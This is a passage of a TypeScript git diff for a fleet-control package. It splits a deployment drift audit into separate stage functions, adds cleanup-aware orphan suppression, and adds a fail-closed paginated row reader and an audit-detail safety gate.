+    items.push(JSON.parse(canonical) as unknown);
+  }
+  return { digest: hash.digest('hex'), items };
+}
+
+/** Non-throwing write gate for every durable audit finding detail. */
+export function isDurableAuditDetailSafe(value: unknown): boolean {
+  if (
+    typeof value !== 'string' ||
+    utf8Length(value) > FLEET_OPERATION_STRING_BYTE_BOUND ||
+    fleetOperationTextHasControlBytes(value)
+  ) {
+    return false;
+  }
+  const lowered = value.toLowerCase();
+  return !CREDENTIAL_SUBSTRINGS.some((marker) => lowered.includes(marker));
+}
+
+// ---------------------------------------------------------------------------
+// Store readers and record projections. They sit below the pure codec
+// primitives so that the section above stays free of store IO.
+// ---------------------------------------------------------------------------
+
+/**
+ * Reads and ordinal-sorts every contiguous-from-zero staged row of one kind.
+ * Fails closed on a page larger than the requested limit, an empty unfinished
+ * page, any row at or below the requested exclusive cursor, a duplicate
+ * ordinal, or a gap. Record reads cap at `FLEET_OPERATION_ITEM_BOUND`; other
+ * kinds cap at `FLEET_OPERATION_ROW_READ_BOUND`.
+ */
+export async function readAllFleetOperationRows(
+  store: FleetOperationStore,
+  operationId: string,
+  rowKind: FleetOperationRowKind,
+): Promise<FleetOperationStagedRow[]> {
+  const rows: FleetOperationStagedRow[] = [];
+  const rowReadBound =
+    rowKind === 'record'
+      ? FLEET_OPERATION_ITEM_BOUND
+      : FLEET_OPERATION_ROW_READ_BOUND;
+  let afterOrdinal: number | undefined;
+  for (;;) {
+    const page = await store.readOperationRowsPage({
+      operationId,
+      rowKind,
+      limit: FLEET_OPERATION_ROW_PAGE_LIMIT,
+      ...(afterOrdinal === undefined ? {} : { afterOrdinal }),
+    });
+    // The port promises at most `limit` rows. An over-sized page is durable
+    // non-conformance in its own right, not something the row cap absorbs.
+    if (page.rows.length > FLEET_OPERATION_ROW_PAGE_LIMIT) return malformed();
+    // A surviving row exceeds every ordinal collected from prior pages, so
+    // only duplicates within this page need an explicit set.
+    const pageOrdinals = new Set<number>();
+    let maximumOrdinal: number | undefined;
+    for (const row of page.rows) {
+      if (
+        (afterOrdinal !== undefined && row.ordinal <= afterOrdinal) ||
+        pageOrdinals.has(row.ordinal)
+      ) {
+        return malformed();
+      }
+      pageOrdinals.add(row.ordinal);
+      if (maximumOrdinal === undefined || row.ordinal > maximumOrdinal) {
+        maximumOrdinal = row.ordinal;
+      }
+    }
+    for (const row of page.rows) rows.push(row);
+    // The cap is checked after the append, so the accumulator can reach
+    // `rowReadBound + FLEET_OPERATION_ROW_PAGE_LIMIT` before refusing. The
+    // overshoot is one page and it keeps the refusal on whole-page boundaries.
+    if (rows.length > rowReadBound) return malformed();
+    if (page.done) break;
+    if (maximumOrdinal === undefined) return malformed();
+    afterOrdinal = maximumOrdinal;
+  }
+  // Sorted in place: this array was built here and is never aliased.
+  rows.sort((left, right) => left.ordinal - right.ordinal);
+  for (const [index, row] of rows.entries()) {
+    if (row.ordinal !== index) return malformed();
+  }
+  return rows;
+}
+
+/** Constructs the public continuation token for one durable run record. */
+export function fleetOperationTokenOf(
+  run: FleetOperationRunRecord,
+): FleetOperationToken {
+  return {
+    version: 1,
+    operationId: run.operationId,
+    revision: run.progress.revision,
+  };
+}
diff --git a/packages/fleet-control/src/fleet.ts b/packages/fleet-control/src/fleet.ts
index b19b9e87..53a466fd 100644
--- a/packages/fleet-control/src/fleet.ts
+++ b/packages/fleet-control/src/fleet.ts
@@ -8,10 +8,18 @@ import {
 } from './application-bindings.js';
 import {
   assertBackendSwitchInactive,
+  commitInvocationAuthority,
   type FinalizedOrdinaryStateProvider,
   finalizedBridgeForRecord,
   reconcileFinalizedBackendSwitchState,
 } from './backend-switch.js';
+import { activeExternalRelease } from './decommission-advance.js';
+import type {
+  FleetMigrationItem,
+  FleetMigrationPlanEntry,
+  FleetMigrationStep,
+} from './fleet-migration-state.js';
+import { FLEET_MIGRATION_PLAN_BOUND } from './fleet-operation-state.js';
 import {
   assertExternalPlatformTarget,
   assertExternalPlatformTargetCompatibility,
@@ -40,9 +48,11 @@ import type {
   DeploymentSecrets,
   DeploymentSpec,
   ExternalMigrationIntent,
+  ExternalMigrationSubphase,
   ExternalPlatformTargetDescription,
   ExternalReleaseSnapshot,
   ExternalReleaseTopology,
+  FleetInventoryDeployment,
   FleetInventoryFinding,
   FleetRecord,
   FleetResourceInventory,
@@ -52,6 +62,15 @@ import type {
   LiveDeployment,
   MaintenanceHealth,
   ProvisioningBackend,
+  ProvisioningPhase,
+} from './types.js';
+import {
+  assertNoActiveCleanup,
+  assertNoActiveDecommission,
+  EXTERNAL_MIGRATION_SUBPHASES,
+  effectiveLifecyclePhase,
+  hasActiveCleanup,
+  isPlatformCatalogRecord,
 } from './types.js';
 import {
   targetDurableObjectTag,
@@ -171,11 +190,54 @@ function pendingArtifactVersion(record: FleetRecord): string | undefined {
   );
 }
 
+/**
+ * Script keys a deployment under active bounded cleanup may still own live.
+ * They feed the orphan suppressions only: the bounded engine, not the drift
+ * audit, is the reconciliation authority while its teardown runs.
+ */
+function cleanupKnownScriptKeys(record: FleetRecord): readonly string[] {
+  const keys = [
+    `${record.backend}:${record.scriptName}`,
+    ...[
+      record.activeRelease,
+      record.pendingRelease,
+      record.rollbackRelease,
+      record.retiringRelease,
+      record.migrationPriorRelease,
+    ]
+      .filter((release) => release !== undefined)
+      .map((release) => `${record.backend}:${release.physicalScriptName}`),
+  ];
+  if (record.platformResources) {
+    keys.push(
+      `${
+        record.platformResources.stateWorker.plane === 'dispatch'
+          ? 'workers-for-platforms'
+          : 'plain-worker'
+      }:${record.platformResources.stateWorker.scriptName}`,
+    );
+    if (record.platformResources.egressProxy) {
+      keys.push(
+        `plain-worker:${record.platformResources.egressProxy.scriptName}`,
+      );
+    }
+  }
+  return keys;
+}
+
+/**
+ * The phase a retained record keeps once its decommission completes. It is
+ * retained state rather than a phase that advances, which is what the audit
+ * expectations and the staleness check below read it as.
+ */
+const TERMINAL_LIFECYCLE_PHASE = 'decommissioned' satisfies ProvisioningPhase;
+
 function expectsDatabase(record: FleetRecord): boolean {
-  return record.phase !== 'decommissioned';
+  return effectiveLifecyclePhase(record) !== TERMINAL_LIFECYCLE_PHASE;
 }
 
 function expectsWorker(record: FleetRecord): boolean {
+  const phase = effectiveLifecyclePhase(record);
   return ![
     'database-reserved',
     'database-create-authorized',
@@ -188,10 +250,11 @@ function expectsWorker(record: FleetRecord): boolean {
     'database-exported',
     'database-deleting',
     'decommissioned',
-  ].includes(record.phase);
+  ].includes(phase);
 }
 
 function expectsRoute(record: FleetRecord): boolean {
+  const phase = effectiveLifecyclePhase(record);
   return [
     'publishing',
     'ready',
@@ -199,10 +262,11 @@ function expectsRoute(record: FleetRecord): boolean {
     'rolling-back',
     'decommissioning',
     'credentials-revoked',
-  ].includes(record.phase);
+  ].includes(phase);
 }
 
 function expectsPlatformResources(record: FleetRecord): boolean {
+  const phase = effectiveLifecyclePhase(record);
   return (
     record.platformResources !== undefined &&
     ![
@@ -210,7 +274,7 @@ function expectsPlatformResources(record: FleetRecord): boolean {
       'database-exported',
       'database-deleting',
       'decommissioned',
-    ].includes(record.phase)
+    ].includes(phase)
   );
 }
 
@@ -221,9 +285,15 @@ function liveScriptName(record: FleetRecord): string {
 function expectedReleaseSnapshots(
   record: FleetRecord,
 ): readonly ExternalReleaseSnapshot[] {
-  if (!expectsWorker(record) || record.backend === 'plain-worker') return [];
+  if (
+    !expectsWorker(record) ||
+    record.backend === 'plain-worker' ||
+    isPlatformCatalogRecord(record)
+  )
+    return [];
+  const phase = effectiveLifecyclePhase(record);
   const snapshots = (() => {
-    switch (record.phase) {
+    switch (phase) {
       case 'worker-deployed':
       case 'maintenance-armed':
       case 'publishing':
@@ -276,7 +346,9 @@ function expectedReleaseSnapshots(
 
 function expectedScriptNames(record: FleetRecord): readonly string[] {
   if (!expectsWorker(record)) return [];
-  if (record.backend === 'plain-worker') return [record.scriptName];
+  if (record.backend === 'plain-worker' || isPlatformCatalogRecord(record))
+    return [record.scriptName];
+  const phase = effectiveLifecyclePhase(record);
   const releases = expectedReleaseSnapshots(record);
   const names = releases.map((release) => release.physicalScriptName);
   if (
@@ -291,7 +363,7 @@ function expectedScriptNames(record: FleetRecord): readonly string[] {
       'decommissioning',
       'traffic-removed',
       'credentials-revoked',
-    ].includes(record.phase)
+    ].includes(phase)
   ) {
     names.push(record.scriptName);
   }
@@ -316,6 +388,12 @@ function routeMatchesRecord(
   route: FleetResourceInventory['routes'][number],
   record: FleetRecord,
 ): boolean {
+  if (isPlatformCatalogRecord(record))
+    return (
+      route.scriptName === record.scriptName &&
+      routePolicyMatches(route, record) &&
+      route.stateEgress === undefined
+    );
   if (record.backend === 'workers-for-platforms') {
     return externalRouteExpectations(record).some((expected) => {
       const target = externalHostRoutingTarget(record, expected);
@@ -388,6 +466,7 @@ function expectedNamespaceIdsForRecord(record: FleetRecord): readonly string[] {
 }
 
 function allowedRouteScriptNames(record: FleetRecord): readonly string[] {
+  if (isPlatformCatalogRecord(record)) return [record.scriptName];
   if (record.backend === 'workers-for-platforms') {
     return externalRouteExpectations(record).map(
       (expected) => expected.release.physicalScriptName,
@@ -482,46 +561,124 @@ function configuredDuties(health: MaintenanceHealth): readonly DutyHealth[] {
   ];
 }
 
-function staleDutyReason(
+interface DutySegment {
+  readonly template: string;
+  readonly diagnostic: string | null;
+}
+
+/**
+ * Composes one stale-duty finding segment as a template plus an optional raw
+ * diagnostic, so a caller can persist the template alone and separately
+ * compose the legacy byte-identical string with the diagnostic inlined.
+ */
+function staleDutySegment(
   duty: DutyHealth,
   deployedAt: number | undefined,
   now: number,
   staleAfterMs: number,
-): string | undefined {
+): DutySegment | undefined {
   if (duty.lastError !== undefined) {
-    return `${duty.name} last attempt failed${
-      duty.lastAttemptAt === undefined || duty.lastAttemptAt === null
-        ? ''
-        : ` at ${duty.lastAttemptAt}`
-    }: ${duty.lastError}`;
+    return {
+      template: `${duty.name} last attempt failed${
+        duty.lastAttemptAt === undefined || duty.lastAttemptAt === null
+          ? ''
+          : ` at ${duty.lastAttemptAt}`
+      }`,
+      diagnostic: duty.lastError,
+    };
   }
   const reference = duty.lastSuccessAt ?? deployedAt;
   if (reference === undefined) {
-    return `${duty.name} has no success or deployment freshness reference`;
+    return {
+      template: `${duty.name} has no success or deployment freshness reference`,
+      diagnostic: null,
+    };
   }
   if (now - reference <= staleAfterMs) return undefined;
-  return duty.lastSuccessAt === null
-    ? `${duty.name} has not succeeded within the deployment grace period`
-    : `${duty.name} last succeeded ${now - duty.lastSuccessAt}ms ago`;
+  return {
+    template:
+      duty.lastSuccessAt === null
+        ? `${duty.name} has not succeeded within the deployment grace period`
+        : `${duty.name} last succeeded ${now - duty.lastSuccessAt}ms ago`,
+    diagnostic: null,
+  };
 }
 
-export async function auditFleetDrift(options: {
-  readonly store: FleetStateStore;
-  readonly records: readonly FleetRecord[];
-  readonly inventory: FleetResourceInventory;
-  readonly backendFor: (record: FleetRecord) => ProvisioningBackend;
-  readonly specFor: (record: FleetRecord) => DeploymentSpec;
-  readonly maintenanceSecretFor: (record: FleetRecord) => string;
-  readonly staleAfterMs: number;
-  readonly now?: number;
-}): Promise<readonly DriftFinding[]> {
-  if (!Number.isSafeInteger(options.staleAfterMs) || options.staleAfterMs < 1) {
-    throw new Error('staleAfterMs must be a positive safe integer');
+// ---------------------------------------------------------------------------
+// Audit set-builders: pure derivations over `records`/`inventory` that
+// both the drain and the bounded coordinator's global stages consume. None
+// emits findings.
+//
+// Two idioms satisfy that no-emission requirement, and the difference is
+// driven by the stages' inputs, not by taste. The default is to run the
+// emitting stage itself and discard its findings, which is what
+// `fleetAuditExpectedBucketsSeed` does with `auditR2ExpectedStage`: that stage
+// takes only `records` plus the map it fills, so seeding needs nothing the
+// caller does not already have. `auditNamespaceExpectationsStage` also takes
+// `inventoryNamespaceIds`, so calling it as a seed would mean fabricating an
+// inventory input; `fleetAuditExpectedNamespaceOwnersSeed` and
+// `fleetAuditRecordsDerivedDuplicateNamespaceIds` therefore drive the shared
+// private `walkNamespaceClaims` the stage drives instead, which keeps the
+// claim rule single-sourced either way.
+// ---------------------------------------------------------------------------
+
+export function fleetAuditAuditedRecords(
+  records: readonly FleetRecord[],
+): readonly FleetRecord[] {
+  return records.filter((record) => !hasActiveCleanup(record));
+}
+
+/** The five orphan-suppression sets seeded from records under active cleanup. */
+export interface FleetAuditKnownSets {
+  readonly knownScriptKeys: ReadonlySet<string>;
+  readonly knownRouteKeys: ReadonlySet<string>;
+  readonly knownDatabaseIds: ReadonlySet<string>;
+  readonly knownNamespaceIds: ReadonlySet<string>;
+  readonly knownBucketNames: ReadonlySet<string>;
+}
+
+export function fleetAuditKnownSets(
+  records: readonly FleetRecord[],
+): FleetAuditKnownSets {
+  const knownScriptKeys = new Set<string>();
+  const knownRouteKeys = new Set<string>();
+  const knownDatabaseIds = new Set<string>();
+  const knownNamespaceIds = new Set<string>();
+  const knownBucketNames = new Set<string>();
+  for (const record of records) {
+    if (!hasActiveCleanup(record)) continue;
+    const scriptKeys = cleanupKnownScriptKeys(record);
+    for (const key of scriptKeys) {
+      knownScriptKeys.add(key);
+      const scriptName = key.slice(key.indexOf(':') + 1);
+      knownRouteKeys.add(`${record.routeHostname}:${scriptName}`);
+    }
+    knownDatabaseIds.add(record.databaseId);
+    for (const binding of record.durableObjectBindings) {
+      knownNamespaceIds.add(binding.namespaceId);
+    }
+    for (const namespaceId of record.platformResources?.stateWorker
+      .namespaceIds ?? []) {
+      knownNamespaceIds.add(namespaceId);
+    }
+    for (const resource of record.applicationResources ?? []) {
+      knownBucketNames.add(resource.bucketName);
+    }
   }
-  const now = options.now ?? Date.now();
-  const findings: DriftFinding[] = [...options.inventory.findings];
+  return {
+    knownScriptKeys,
+    knownRouteKeys,
+    knownDatabaseIds,
+    knownNamespaceIds,
+    knownBucketNames,
+  };
+}
+
+export function fleetAuditRecordsByScript(
+  auditedRecords: readonly FleetRecord[],
+): ReadonlyMap<string, readonly FleetRecord[]> {
   const recordsByScript = new Map<string, FleetRecord[]>();
-  for (const record of options.records) {
+  for (const record of auditedRecords) {
     for (const expected of expectedDeploymentKeys(record)) {
       const key = `${expected.backend}:${expected.scriptName}`;
       const matches = recordsByScript.get(key) ?? [];
@@ -529,11 +686,187 @@ export async function auditFleetDrift(options: {
       recordsByScript.set(key, matches);
     }
   }
-  for (const registration of options.inventory.scriptRegistrations) {
+  return recordsByScript;
+}
+
+export function fleetAuditLiveByScript(
+  deployments: readonly FleetInventoryDeployment[],
+): ReadonlyMap<string, readonly FleetInventoryDeployment[]> {
+  const liveByScript = new Map<string, FleetInventoryDeployment[]>();
+  for (const deployment of deployments) {
+    const key = `${deployment.backend}:${deployment.scriptName}`;
+    const matches = liveByScript.get(key) ?? [];
+    matches.push(deployment);
+    liveByScript.set(key, matches);
+  }
+  return liveByScript;
+}
+
+export function fleetAuditRegisteredDatabaseIds(
+  auditedRecords: readonly FleetRecord[],
+): ReadonlySet<string> {
+  return new Set(
+    auditedRecords.filter(expectsDatabase).map((record) => record.databaseId),
+  );
+}
+
+export function fleetAuditExpectedRoutes(
+  auditedRecords: readonly FleetRecord[],
+): ReadonlyMap<
+  string,
+  Readonly<{ record: FleetRecord; scriptNames: readonly string[] }>
+> {
+  return new Map(
+    auditedRecords
+      .filter(expectsRoute)
+      .map((record) => [
+        record.routeHostname,
+        { record, scriptNames: allowedRouteScriptNames(record) },
+      ]),
+  );
+}
+
+export function fleetAuditLiveRoutesByHostname(
+  routes: readonly FleetResourceInventory['routes'][number][],
+): ReadonlyMap<string, readonly FleetResourceInventory['routes'][number][]> {
+  const liveRoutesByHostname = new Map<
+    string,
+    FleetResourceInventory['routes'][number][]
+  >();
+  for (const route of routes) {
+    const routeMatches = liveRoutesByHostname.get(route.hostname) ?? [];
+    routeMatches.push(route);
+    liveRoutesByHostname.set(route.hostname, routeMatches);
+  }
+  return liveRoutesByHostname;
+}
+
+export function fleetAuditExpectedNamespaceIds(
+  auditedRecords: readonly FleetRecord[],
+): ReadonlySet<string> {
+  return new Set(
+    auditedRecords
+      .filter(expectsNamespaces)
+      .flatMap(expectedNamespaceIdsForRecord),
+  );
+}
+
+/**
+ * The one first-owner-wins walk over the namespace claims of every
+ * namespace-expecting record, in record then namespace order. The
+ * `namespace-expectations` stage (emission), its prefix/full seed (the map),
+ * and the records-derived duplicate set (the collisions) all run through it,
+ * so the claim rule exists once. `owners` is mutated in place; `onClaim`
+ * receives the prior owner, undefined when this record has just become the
+ * owner.
+ *
+ * Declared here with the other set-builders, ahead of its emitting caller
+ * `auditNamespaceExpectationsStage` in the stage section below.
+ */
+function walkNamespaceClaims(
+  records: readonly FleetRecord[],
+  owners: Map<string, FleetRecord>,
+  onClaim: (
+    record: FleetRecord,
+    namespaceId: string,
+    priorOwner: FleetRecord | undefined,
+  ) => void,
+): void {
+  for (const record of records.filter(expectsNamespaces)) {
+    for (const namespaceId of expectedNamespaceIdsForRecord(record)) {
+      const priorOwner = owners.get(namespaceId);
+      if (!priorOwner) owners.set(namespaceId, record);
+      onClaim(record, namespaceId, priorOwner);
+    }
+  }
+}
+
+/**
+ * The records-derived expected-duplicate seed: the set of namespace ids more
+ * than one audited, namespace-expecting record claims. Pure over
+ * `auditedRecords`, independent of chunk position. It runs the very walker
+ * the `namespace-expectations` stage runs, so this is the same collision set
+ * that stage accumulates by the time it completes — not merely a second
+ * derivation that agrees with it.
+ */
+export function fleetAuditRecordsDerivedDuplicateNamespaceIds(
+  auditedRecords: readonly FleetRecord[],
+): ReadonlySet<string> {
+  const duplicates = new Set<string>();
+  walkNamespaceClaims(
+    auditedRecords,
+    new Map(),
+    (_record, namespaceId, priorOwner) => {
+      if (priorOwner) duplicates.add(namespaceId);
+    },
+  );
+  return duplicates;
+}
+
+/**
+ * Delegates to the shared first-owner-wins walker with an empty claim
+ * callback, so it accumulates the owner map the `namespace-expectations`
+ * stage accumulates while emitting nothing. Used both to seed a bounded
+ * chunk's prefix and (over the full audited-record list) to reconstruct the
+ * stage's finished map.
+ */
+export function fleetAuditExpectedNamespaceOwnersSeed(
+  records: readonly FleetRecord[],
+): Map<string, FleetRecord> {
+  const owners = new Map<string, FleetRecord>();
+  walkNamespaceClaims(records, owners, () => {});
+  return owners;
+}
+
+export type FleetAuditExpectedBucketEntry = Readonly<{
+  record: FleetRecord;
+  resource: NonNullable<FleetRecord['applicationResources']>[number];
+}>;
+
+/**
+ * Delegates to the emitting `r2-expected` stage — `auditR2ExpectedStage`,
+ * declared in the stage section below — and keeps only the map it fills, so
+ * the claim rule is the stage body itself rather than a second copy of it.
+ * Used both to seed a bounded chunk's prefix and (over the full
+ * audited-record list) to reconstruct the stage's finished map for
+ * `r2-orphans`/`r2-missing-identity`.
+ */
+export function fleetAuditExpectedBucketsSeed(
+  records: readonly FleetRecord[],
+): Map<string, FleetAuditExpectedBucketEntry> {
+  const expectedBuckets = new Map<string, FleetAuditExpectedBucketEntry>();
+  // The emitting stage over an EMPTY map is exactly the non-emitting
+  // rebuild; its findings are discarded. Discarding them allocates one
+  // `DriftFinding` per duplicate bucket claim on every call, including the
+  // two full-map rebuilds the bounded `r2-orphans`/`r2-missing-identity`
+  // stages run over every audited record. That garbage is per duplicate
+  // claim, not per record, so it stays far below the documented O(records²)
+  // record-row re-parse term.
+  auditR2ExpectedStage({ records, expectedBuckets });
+  return expectedBuckets;
+}
+
+// ---------------------------------------------------------------------------
+// Audit global stage functions. Each takes an iteration slice plus its
+// derived sets and returns the findings for that slice, in the same order
+// `auditFleetDrift`'s pre-decomposition body pushed them.
+// ---------------------------------------------------------------------------
+
+export function auditRegistrationOrphansStage(
+  input: Readonly<{
+    scriptRegistrations: readonly FleetResourceInventory['scriptRegistrations'][number][];
+    deployments: readonly FleetInventoryDeployment[];
+    recordsByScript: ReadonlyMap<string, readonly FleetRecord[]>;
+    knownScriptKeys: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const registration of input.scriptRegistrations) {
     const key = `workers-for-platforms:${registration.scriptName}`;
     if (
-      !recordsByScript.has(key) &&
-      !options.inventory.deployments.some(
+      !input.recordsByScript.has(key) &&
+      !input.knownScriptKeys.has(key) &&
+      !input.deployments.some(
         (deployment) =>
           deployment.backend === 'workers-for-platforms' &&
           deployment.scriptName === registration.scriptName,
@@ -547,16 +880,20 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  const liveByScript = new Map<
-    string,
-    FleetResourceInventory['deployments'][number][]
-  >();
-  for (const deployment of options.inventory.deployments) {
+  return findings;
+}
+
+export function auditDeploymentOrphansStage(
+  input: Readonly<{
+    deployments: readonly FleetInventoryDeployment[];
+    recordsByScript: ReadonlyMap<string, readonly FleetRecord[]>;
+    knownScriptKeys: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const deployment of input.deployments) {
     const key = `${deployment.backend}:${deployment.scriptName}`;
-    const matches = liveByScript.get(key) ?? [];
-    matches.push(deployment);
-    liveByScript.set(key, matches);
-    if (!recordsByScript.has(key)) {
+    if (!input.recordsByScript.has(key) && !input.knownScriptKeys.has(key)) {
       findings.push({
         tenantTag: deployment.tenantTag,
         environment: deployment.environment,
@@ -565,13 +902,24 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  for (const record of options.records) {
+  return findings;
+}
+
+export function auditDeploymentGapsStage(
+  input: Readonly<{
+    records: readonly FleetRecord[];
+    liveByScript: ReadonlyMap<string, readonly FleetInventoryDeployment[]>;
+    scriptRegistrations: readonly FleetResourceInventory['scriptRegistrations'][number][];
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const record of input.records) {
     for (const expected of expectedDeploymentKeys(record)) {
       const key = `${expected.backend}:${expected.scriptName}`;
-      const liveMatches = liveByScript.get(key) ?? [];
+      const liveMatches = input.liveByScript.get(key) ?? [];
       const registered =
         expected.backend !== 'workers-for-platforms' ||
-        options.inventory.scriptRegistrations.some(
+        input.scriptRegistrations.some(
           (registration) =>
             registration.scriptName === expected.scriptName &&
             registration.tenantTag === record.tenantTag &&
@@ -599,11 +947,22 @@ export async function auditFleetDrift(options: {
       }
     }
   }
-  const registeredDatabaseIds = new Set(
-    options.records.filter(expectsDatabase).map((record) => record.databaseId),
-  );
-  for (const databaseId of options.inventory.databaseIds) {
-    if (!registeredDatabaseIds.has(databaseId)) {
+  return findings;
+}
+
+export function auditOrphanDatabasesStage(
+  input: Readonly<{
+    databaseIds: readonly string[];
+    registeredDatabaseIds: ReadonlySet<string>;
+    knownDatabaseIds: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const databaseId of input.databaseIds) {
+    if (
+      !input.registeredDatabaseIds.has(databaseId) &&
+      !input.knownDatabaseIds.has(databaseId)
+    ) {
       findings.push({
         tenantTag: 'unknown',
         environment: 'unknown',
@@ -612,23 +971,25 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  const expectedRoutes = new Map(
-    options.records
-      .filter(expectsRoute)
-      .map((record) => [
-        record.routeHostname,
-        { record, scriptNames: allowedRouteScriptNames(record) },
-      ]),
-  );
-  const liveRoutesByHostname = new Map<
-    string,
-    FleetResourceInventory['routes'][number][]
-  >();
-  for (const route of options.inventory.routes) {
-    const routeMatches = liveRoutesByHostname.get(route.hostname) ?? [];
-    routeMatches.push(route);
-    liveRoutesByHostname.set(route.hostname, routeMatches);
-    const expected = expectedRoutes.get(route.hostname);
+  return findings;
+}
+
+export function auditOrphanRoutesStage(
+  input: Readonly<{
+    routes: readonly FleetResourceInventory['routes'][number][];
+    expectedRoutes: ReadonlyMap<
+      string,
+      Readonly<{ record: FleetRecord; scriptNames: readonly string[] }>
+    >;
+    knownRouteKeys: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const route of input.routes) {
+    const expected = input.expectedRoutes.get(route.hostname);
+    if (input.knownRouteKeys.has(`${route.hostname}:${route.scriptName}`)) {
+      continue;
+    }
     if (
       !expected ||
       expected.record.backend !== route.backend ||
@@ -645,17 +1006,22 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  const databases = new Map<string, FleetRecord>();
-  const expectedNamespaceOwners = new Map<string, FleetRecord>();
-  const liveNamespaceOwners = new Map<string, FleetRecord>();
-  const duplicateNamespaceIds = new Set<string>();
-  const expectedNamespaceIds = new Set(
-    options.records
-      .filter(expectsNamespaces)
-      .flatMap(expectedNamespaceIdsForRecord),
-  );
-  for (const namespaceId of options.inventory.namespaceIds) {
-    if (!expectedNamespaceIds.has(namespaceId)) {
+  return findings;
+}
+
+export function auditNamespaceOrphansStage(
+  input: Readonly<{
+    namespaceIds: readonly string[];
+    expectedNamespaceIds: ReadonlySet<string>;
+    knownNamespaceIds: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const namespaceId of input.namespaceIds) {
+    if (
+      !input.expectedNamespaceIds.has(namespaceId) &&
+      !input.knownNamespaceIds.has(namespaceId)
+    ) {
       findings.push({
         tenantTag: 'unknown',
         environment: 'unknown',
@@ -664,21 +1030,39 @@ export async function auditFleetDrift(options: {
       });
     }
   }
-  for (const record of options.records.filter(expectsNamespaces)) {
-    for (const namespaceId of expectedNamespaceIdsForRecord(record)) {
-      const namespaceOwner = expectedNamespaceOwners.get(namespaceId);
+  return findings;
+}
+
+export function auditNamespaceExpectationsStage(
+  input: Readonly<{
+    records: readonly FleetRecord[];
+    inventoryNamespaceIds: readonly string[];
+    /**
+     * An INPUT the stage reads and also mutates: the caller supplies the
+     * claims already made (empty for the drain's one full-array call, the
+     * prefix rebuild for a bounded chunk), and the stage adds this slice's
+     * claims to it as it walks. Reading it is load-bearing — it is what makes
+     * a `duplicate-namespace` collision visible across a chunk boundary. No
+     * caller reads the mutation back today; the map is passed in rather than
+     * built here so the prefix can be seeded.
+     */
+    expectedNamespaceOwners: Map<string, FleetRecord>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  walkNamespaceClaims(
+    input.records,
+    input.expectedNamespaceOwners,
+    (record, namespaceId, namespaceOwner) => {
       if (namespaceOwner) {
-        duplicateNamespaceIds.add(namespaceId);
         findings.push({
           tenantTag: record.tenantTag,
           environment: record.environment,
           kind: 'duplicate-namespace',
           detail: `namespace '${namespaceId}' also bound to ${namespaceOwner.tenantTag}:${namespaceOwner.environment}`,
         });
-      } else {
-        expectedNamespaceOwners.set(namespaceId, record);
       }
-      if (!options.inventory.namespaceIds.includes(namespaceId)) {
+      if (!input.inventoryNamespaceIds.includes(namespaceId)) {
         findings.push({
           tenantTag: record.tenantTag,
           environment: record.environment,
@@ -686,32 +1070,43 @@ export async function auditFleetDrift(options: {
           detail: `expected Durable Object namespace '${namespaceId}' is absent from fleet inventory`,
         });
       }
-    }
-  }
+    },
+  );
+  return findings;
+}
 
-  const expectedBuckets = new Map<
-    string,
-    {
-      readonly record: FleetRecord;
-      readonly resource: NonNullable<
-        FleetRecord['applicationResources']
-      >[number];
-    }
-  >();
-  for (const record of options.records) {
-    if (
-      [
-        'application-resources-deleted',
-        'database-exported',
-        'database-deleting',
-        'decommissioned',
-      ].includes(record.phase)
-    ) {
-      continue;
-    }
+/** Lifecycle phases whose records no longer expect their R2 buckets. */
+const R2_EXPECTATION_EXCLUDED_PHASES: readonly ProvisioningPhase[] =
+  Object.freeze([
+    'application-resources-deleted',
+    'database-exported',
+    'database-deleting',
+    TERMINAL_LIFECYCLE_PHASE,
+  ] as const satisfies readonly ProvisioningPhase[]);
+
+export function auditR2ExpectedStage(
+  input: Readonly<{
+    records: readonly FleetRecord[];
+    /**
+     * An INPUT the stage reads and also mutates: the caller supplies the
+     * claims already made (empty for the drain's one full-array call, the
+     * prefix rebuild for a bounded chunk), and the stage adds this slice's
+     * claims to it as it walks. Reading it is load-bearing — a bucket already
+     * in the map is what makes an `r2-bucket-drift` collision visible across a
+     * chunk boundary. The drain reads the finished map back for its
+     * `r2-orphans` and `r2-missing-identity` stages; the bounded path rebuilds
+     * it with `fleetAuditExpectedBucketsSeed` instead.
+     */
+    expectedBuckets: Map<string, FleetAuditExpectedBucketEntry>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const record of input.records) {
+    const phase = effectiveLifecyclePhase(record);
+    if (R2_EXPECTATION_EXCLUDED_PHASES.includes(phase)) continue;
     for (const resource of record.applicationResources ?? []) {
       if (resource.state !== 'created' || !resource.creationDate) continue;
-      const prior = expectedBuckets.get(resource.bucketName);
+      const prior = input.expectedBuckets.get(resource.bucketName);
       if (prior) {
         findings.push({
           tenantTag: record.tenantTag,
@@ -720,18 +1115,28 @@ export async function auditFleetDrift(options: {
           detail: `R2 bucket '${resource.bucketName}' is claimed by more than one deployment`,
         });
       } else {
-        expectedBuckets.set(resource.bucketName, { record, resource });
+        input.expectedBuckets.set(resource.bucketName, { record, resource });
       }
     }
   }
-  const liveBuckets = new Map(
-    (options.inventory.r2Buckets ?? []).map((bucket) => [
-      bucket.bucketName,
-      bucket,
-    ]),
-  );
-  for (const bucket of options.inventory.r2Buckets ?? []) {
-    if (!expectedBuckets.has(bucket.bucketName)) {
+  return findings;
+}
+
+export function auditR2OrphansStage(
+  input: Readonly<{
+    r2Buckets: readonly NonNullable<
+      FleetResourceInventory['r2Buckets']
+    >[number][];
+    expectedBuckets: ReadonlyMap<string, FleetAuditExpectedBucketEntry>;
+    knownBucketNames: ReadonlySet<string>;
+  }>,
+): readonly DriftFinding[] {
+  const findings: DriftFinding[] = [];
+  for (const bucket of input.r2Buckets) {
+    if (
